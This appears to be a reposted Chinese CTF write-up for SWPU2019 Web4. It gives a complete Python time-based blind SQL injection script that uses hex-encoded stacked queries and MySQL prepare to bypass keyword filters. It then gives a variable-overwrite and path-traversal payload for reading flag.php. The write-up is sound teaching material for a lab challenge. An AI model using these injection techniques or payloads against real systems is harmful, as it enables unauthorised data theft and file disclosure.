[SWPU2019]Web4

# [SWPU2019]Web4

末初 · mochu7-CSDN博客

0x01前言

  • 堆叠注入

  • MVC代码审计

  • 变量覆盖

0x02堆叠注入

username输入'报错输入;正常,判断存在堆叠注入,题目过滤了许多关键字,使用16进制+mysql预处理了绕过。

payload=select if(ascii(substr((select flag from flag),{},1))={},sleep(3),1)

上脚本:

import	requests
import	time
import	json
def StrToHex(payload):	
		by = bytes(payload,'UTF-8')    #先将输入的字符串转化成字节码
		hexstring = by.hex()    #得到16进制字符串,不带0x
		a = int(hexstring,16)    #将16进制字符串转换成整数
		hex_name = hex(a)    #输出如下
		return hex_name
def FindFlag():
	x=0
	url="http://17d3014d-0ed4-499d-8230-a399ee629646.node4.buuoj.cn:81/index.php?r=Login/Login"
	flag=''
	header={
			"Content-Type": "application/json",
			"Postman-Token": "0f7408f7-9869-48ba-9433-871bf4b6f560",
			"User-Agent": "PostmanRuntime/7.28.1"
			}
	for i in range(1,30):
		for j in range(0,128):
			payload='select if(ascii(substr((select flag from flag),{},1))={},sleep(3),1)'.format(i,j)
			payload=StrToHex(payload)		
			data={"username":"123';set @a={};prepare test from @a;execute test;".format(payload),"password":"456"}
			data=json.dumps(data)
			times=time.time()
			time.sleep(0.1)
			try:
				res = requests.post(url, data=data,headers=header)
			except Exception as e:
				pass		
			if time.time()-times>3:
				flag=flag+chr(j)
				print(flag)				
				break
FindFlag()

得到压缩包名glzjin_wants_a_girl_friend.zip

0x03变量覆盖

0x04 代码审计

先看到flag.php

应该是要用某种方法读取flag.php文件中的内容

MVC框架url解释

从r参数中获取要访问的Controller以及Action,然后以/分隔开后拼接成完整的控制器名。以Login/Index为例,就是将Login/Index分隔开分别拼接成LoginController以及actionIndex,然后调用LoginController这个类中的actionIndex方法。每个action里面会调用对应的loadView()方法进行模版渲染,然后将页面返回给客户端。若访问的Controller不存在则默认解析Login/Index。

核心代码在Controller

先看BaseConrtoller.php

看到extract()函数,如果变量数组可控,可能存在变量覆盖漏洞

寻找调用了loadview()方法并且数组变量可控的地方

在usercontroller.php中可以看到

找到其视图控制器

发现其功能是对图片

以base64输出使用变量覆盖,覆盖掉img_file参数

payload=/?r=User/Index&img_file=/../flag.php

posted @ 2021-10-17 12:31  步行街  阅读(214)  评论(0)    收藏  举报